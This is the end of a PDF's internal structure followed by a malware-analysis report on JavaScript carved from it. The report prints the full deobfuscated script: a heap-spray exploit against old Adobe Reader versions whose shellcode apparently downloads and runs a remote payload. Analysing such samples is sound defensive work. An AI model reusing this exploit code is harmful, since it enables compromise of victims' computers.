/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000010826 00000 n 
0000013751 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002927 00000 n 
0000003035 00000 n 
0000005745 00000 n 
0000005853 00000 n 
0000008696 00000 n 
0000008805 00000 n 
0000010902 00000 n 
0000011018 00000 n 
0000011132 00000 n 
0000011239 00000 n 
0000011344 00000 n 
0000011456 00000 n 
0000013946 00000 n 
0000013998 00000 n 
0000026720 00000 n 
0000027142 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
generic_stage_recovery_010.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from JavaScript object 18 at offset 0x36AE 5985 bytes
SHA-256: 8da42503bf147a90e455015881a77f252bfe7c7be2b73cef40e4bf87a37ce1c3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"	\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}